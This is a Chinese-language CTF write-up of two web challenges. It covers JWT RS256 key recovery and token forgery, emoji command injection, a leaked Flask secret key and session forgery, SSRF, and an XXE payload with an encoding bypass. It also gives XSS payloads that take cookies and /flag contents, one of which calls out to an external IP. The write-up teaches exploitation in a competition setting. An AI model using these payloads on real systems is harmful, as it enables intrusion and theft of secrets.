前言

Web 只有两道题,比赛下午5点结束,我和队友大概2点多就做完 Web 方向了,web 手少有的不坐牢时刻。

但是不得不说,这个比赛 py 现象严重,某二手交易平台上有大量卖思路的商家,咱也不知道是不是在钓鱼,只能呵呵一笑了

Web01

随便使用某个非 admin 的账户密码即可以游客身份登录

看看 jwt token, 算法是 RS256。可以爆破私钥,参考 https://ctftime.org/writeup/30541

随便登入两个游客账户,拿到 jwt

用户 1232143264676547865

token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMzIxNDMyNjQ2NzY1NDc4NjUifQ.HwhFATpFTr2FCKj61GGk4_dMPzMvzMKSESUqD-vb2wS_1A91sZuw_cvP4hbXzTvHDTNe_yaOPsUm2J91gpSUQwyZ0yISXoSa3zG0CCAZswP1PsYbzqkmhuhFy2pcPkQI0CFJGJ_cP1hjgG5u0FHCIYy63aiqWv1nPaogE2vKT-c1

用户 cacsadqweqwe

token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNhY3NhZHF3ZXF3ZSJ9.F3vZFyorIbhANPCQ6ZZZrcZJEfMvm0p4JFqUTl4GelJRU5maCa_ujB4yMURJbEdCiBzrV7KC58vHag1dM9-7mF7ajSq1A5S_mv7bvOV3DHyDQ7xvqx-yzH2YYFuroqEJcVwmt3MilwZGFKeNQujc5LALsEk8mnBWsGOyyTWVkSoF

使用 https://github.com/silentsignal/rsa_sign2n 结果如下:

img

img

再用 RsaCtfTool 生成对应的私钥

img

然后就可以伪造 jwt

import jwt
private_key=open('./private.pem').read()
token=jwt.encode({'username': 'admin'},private_key,algorithm='RS256')
print(token)

此时再访问靶机,就能看到解锁了一些功能。尤其是这个 Game 板块

截图

先随意尝试一下,发现使用上面的 emoji 和空格组合的 payload 会被放到 shell 里执行

截图

cat * 发现有 flag 文件夹

截图

cd flag ;P:| cat * 拿到源码

截图

app.py

from flask import Flask, render_template, redirect, url_for, flash, session, request, jsonify, make_response
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, SubmitField, FileField, TextAreaField
from wtforms.validators import DataRequired, Length
from werkzeug.utils import secure_filename
import os
import string
from authlib.jose import jwt, JoseError
import requests


app = Flask(__name__)
app.config['SECRET_KEY'] = '36f8efbea152e50b23290e0ed707b4b0'

with open('/app/flag/private_key.pem', 'r') as f:
    private_key = f.read()

with open('/app/flag/public_key.pem', 'r') as f:
    public_key = f.read()


def game_play(user_input):
    emoji_table = {
        "😀": ":D",
        "😉": ";)",
        "😊": ":)",
        "😋": ":P",
        "😎": "B)",
        "🤔": ":?",  
        "😐": ":|",
        "😥": ":'(",
        "😮": ":o",
        "🤐": ":x",
        "😯": ":o",
        "😪": ":'(",
        "😫": "gt;:(",
        "😴": "Zzz",
        "😜": ";P",
        "😝": "XP",
        "😒": ":/",
        "🙃": "(:",
        "😲": ":O",
        "☹️": ":(",
        "🙁": ":(",
        "😖": "gt;:(",
        "😞": ":(",
        "😤": "gt;:(",
        "😢": ":'(",
        "😦": ":(",
        "😰": ":(",
        "😱": ":O",
        "🤪": ":P",
        "😵": "X(",
        "🥴": ":P",
        "😠": "gt;:(",
        "😡": "gt;:(",
        "🤕": ":(",
        "🤢": "X(",
        "🤮": ":P",
        "🤧": ":'(",
        "😇": "O:)",
        "🥳": ":D",
        "🥺": ":'(",
        "🤡": ":o)",
        "🤠": "Y)",
        "🤥": ":L",
        "🐶": "dog",
        "🐱": "cat",  
        "🐭": "mouse",
        "🐰": "rabbit",
        "🦊": "fox",
        "🐷": "pig",
        "🐽": "pig nose",
        "🐸": "frog",
        "🐒": "monkey",
        "🐔": "chicken",
        "🐧": "penguin",
        "🐦": "bird",
        "🚗": "car",
        "🚕": "taxi",
        "🚁": "helicopter",
        "🛶": "canoe",
        "⛵": "sailboat",
        "🚤": "speedboat",
        "🛳️": "passenger ship",
        "⛴️": "ferry",
        "🛥️": "motor boat",
        "🚢": "ship",
        "👶": "baby",
        "💿": "CD",
        "📀": "DVD",
        "📱": "phone",
        "💻": "laptop",
        "⏰": "alarm clock",
        "🕰️": "mantelpiece clock",
        "⌚": "watch",
        "📡": "satellite antenna",
        "🔋": "battery",
        "🔌": "plug",
        "🚩": "flag",
        "⭐": "*",
        "✖️": "×",
        "➗": "÷"
    }
    if len(set(user_input).intersection(set(string.printable.replace(" ", '')))) == 0:
        return user_input.lower()
    command = user_input
    result = 'emoji shell'
    for key in emoji_table:
        if key in command:
            command = command.replace(key, emoji_table[key]).lower()
            result = command
            result = result + os.popen(command + " 2gt;amp;1").read()

    return result


class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=1, max=25)])
    password = PasswordField('Password', validators=[DataRequired()])
    submit = SubmitField('Login')

class UploadForm(FlaskForm):
    avatar = FileField('Choose a file', validators=[DataRequired()])
    submit = SubmitField('Upload')

class GameForm(FlaskForm):
    user_input = TextAreaField('Enter something', validators=[DataRequired()])
    submit = SubmitField('Submit')


def generate_jwt(username):
    header = {'alg': 'RS256'}
    payload = {
        'username': username,
    }
    token = jwt.encode(header, payload, private_key)
    return token

def decode_jwt(token):
    try:
        payload = jwt.decode(token, public_key)
        return payload
    except JoseError as e:
        return None


@app.route('/', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        username = form.username.data
        password = form.password.data
        if username=='admin':
            flash('Invalid username or password', 'danger')
            return render_template('login.html', form=form)
        if username:
            session['role'] = 'guest'
            token = generate_jwt(username)
            response = make_response(redirect(url_for('dashboard')))
            response.set_cookie('token', token.decode())
            flash('Login successful!', 'success')
            return response
        else:
            flash('Invalid username or password', 'danger')
    return render_template('login.html', form=form)

@app.route('/dashboard')
def dashboard():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    if not payload:
        flash('Invalid or expired token. Please login again.', 'danger')
        return redirect(url_for('login'))
    return render_template('dashboard.html')

@app.route('/profile')
def profile():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    if not payload:
        flash('Invalid or expired token. Please login again.', 'danger')
        return redirect(url_for('login'))
    user_info = {}
    user_info.update({
        'username': payload['username'],
        'role': session['role'],
    })
    return render_template('profile.html', user_info=user_info)

@app.route('/game', methods=['GET', 'POST'])
def game():
    token = request.cookies.get('token')
    form = GameForm()
    if not token:
        error_message = 'Please login first'
        return render_template('game.html', form=form, error_message=error_message)
    payload = decode_jwt(token)
    if not payload:
        error_message = 'Invalid or expired token. Please login again.'
        return render_template('game.html', form=form, error_message=error_message)
    if not payload['username']=='admin':
        error_message = 'You do not have permission to access this page.Your username is not admin'
        return render_template('game.html', form=form, error_message=error_message)
    user_input = None
    if form.validate_on_submit():
        user_input = form.user_input.data
        user_input = game_play(user_input)
    return render_template('game.html', form=form, user_input=user_input)

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    form = UploadForm()
    if not payload or payload['username'] != 'admin':
        error_message = 'You do not have permission to access this page.Your username is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    if not session['role'] or session['role'] != 'admin':
        error_message = 'You do not have permission to access this page.Your role is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])

    if form.validate_on_submit():
        file = form.avatar.data
        if file:
            filename = secure_filename(file.filename)
            files = {'file': (filename, file.stream, file.content_type)}
            php_service_url = 'http://127.0.0.1/upload.php'
            response = requests.post(php_service_url, files=files)
            if response.status_code == 200:
                flash(response.text, 'success')
            else:
                flash('Failed to upload file to PHP service', 'danger')
    return render_template('upload.html', form=form)


@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():
    token = request.cookies.get('token')
    form = GameForm()
    if not token:
        error_message = 'Please login first'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    payload = decode_jwt(token)
    if not payload:
        error_message = 'Invalid or expired token. Please login again.'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    if not payload['username']=='admin':
        error_message = 'You do not have permission to access this page.Your username is not admin'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    user_input = None
    if form.validate_on_submit():
        filepath = form.user_input.data
        pathurl = request.form.get('path')
        if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
            error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."
            return render_template('view_uploads.html', form=form, error_message=error_message)
        params = {'s': filepath}
        try:
            response = requests.get("http://"+pathurl, params=params, timeout=1)
            return render_template('view_uploads.html', form=form, user_input=response.text)
        except:
            error_message = "500! Server Error"
            return render_template('view_uploads.html', form=form, error_message=error_message)
    return render_template('view_uploads.html', form=form, user_input=user_input)


@app.route('/logout')
def logout():
    session.clear()
    response = make_response(redirect(url_for('login')))
    response.delete_cookie('token')
    flash('You have been logged out', 'info')
    return response

if __name__ == '__main__':
    app.run()

审计源码获取到 secret_key,使用 flask-unsign 伪造 session 拿到 admin 身份

.eJwtjDsOgzAMQK9CPTM0DeTDGXqDCiHX2C1qmkgYJsTdm6HT0xveO2CShPpmheFxQLNVgO5ErAot3Mtryc3fZU8XGM-xBdJVpq18OMMAnUPjDXmyPUoX7NUFY50Ns0gMyLEX9hGft7pbS-Ja4PxdMpw_194m-Q.ZyBuJQ.O2SbLvCtP0oSVZawGnigM8a39VA

upload 路由发现还有一个在内网的 php 服务

接下来就是打 SSRF,通过 upload 路由上传任意文件

截图

然后 view_uploads 访问 http://127.0.0.1/index.php 并且传参 s=/var/www/html/文件名

发现 index.php 会加载 xml 文件,于是构造 XXE,测试发现过滤了 system,使用 iconv 编码绕过

cat test.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

读取 flag.php 即可

<?xml version="1.0"?>

<!DOCTYPE test[
    <!ENTITY nn SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>

<person>
    <name>&nn;</name>
    <age>18</age>
</person>

由于直接读取 flag.php 没有回显,故 base64 编码后再读取

img

img

Web02

这题是队友做的,我负责复现和写 writeup

开局一个登录框,先试试 admin123,结果就登进去了

img

点进那一串奇怪 url 之后,一眼顶真,鉴定为 xss

截图

截图

看看能不能出网先

<script>
fetch("http://8.138.127.74:2333/",{
  method:'POST',
  headers:{'Content-Type':'application/x-www-form-urlencoded'
})
</script>

结果是 x 自己倒是能 x,怎么到了靶机就不行呢?鉴定为不出网

那就让 boss 直接把 flag 写到任务清单里吧,模仿自己提交表单的 http 报文,构造 xss

<script>
var url = "/content/bcad73fe2d4af5d291ed08b905307283";
var data = "content=_Err0r233"+document.cookie;
fetch(url, {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded',},
  body: data}
)
</script>

结果 Cookie 里面找不到 flag?

卡了半天之后发现居然有个 /flag 路由。。。

img

此时思路就变为将 /flag 中的内容外带到任务清单

<script>
var req = new XMLHttpRequest();
req.open('GET', '/flag', false);
req.send(null);
var headers = req.responseText;
var url = "/content/bcad73fe2d4af5d291ed08b905307283";
var data = "content=_Err0r233"+headers;
fetch(url, {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded',},
  body: data}
)
</script>

截图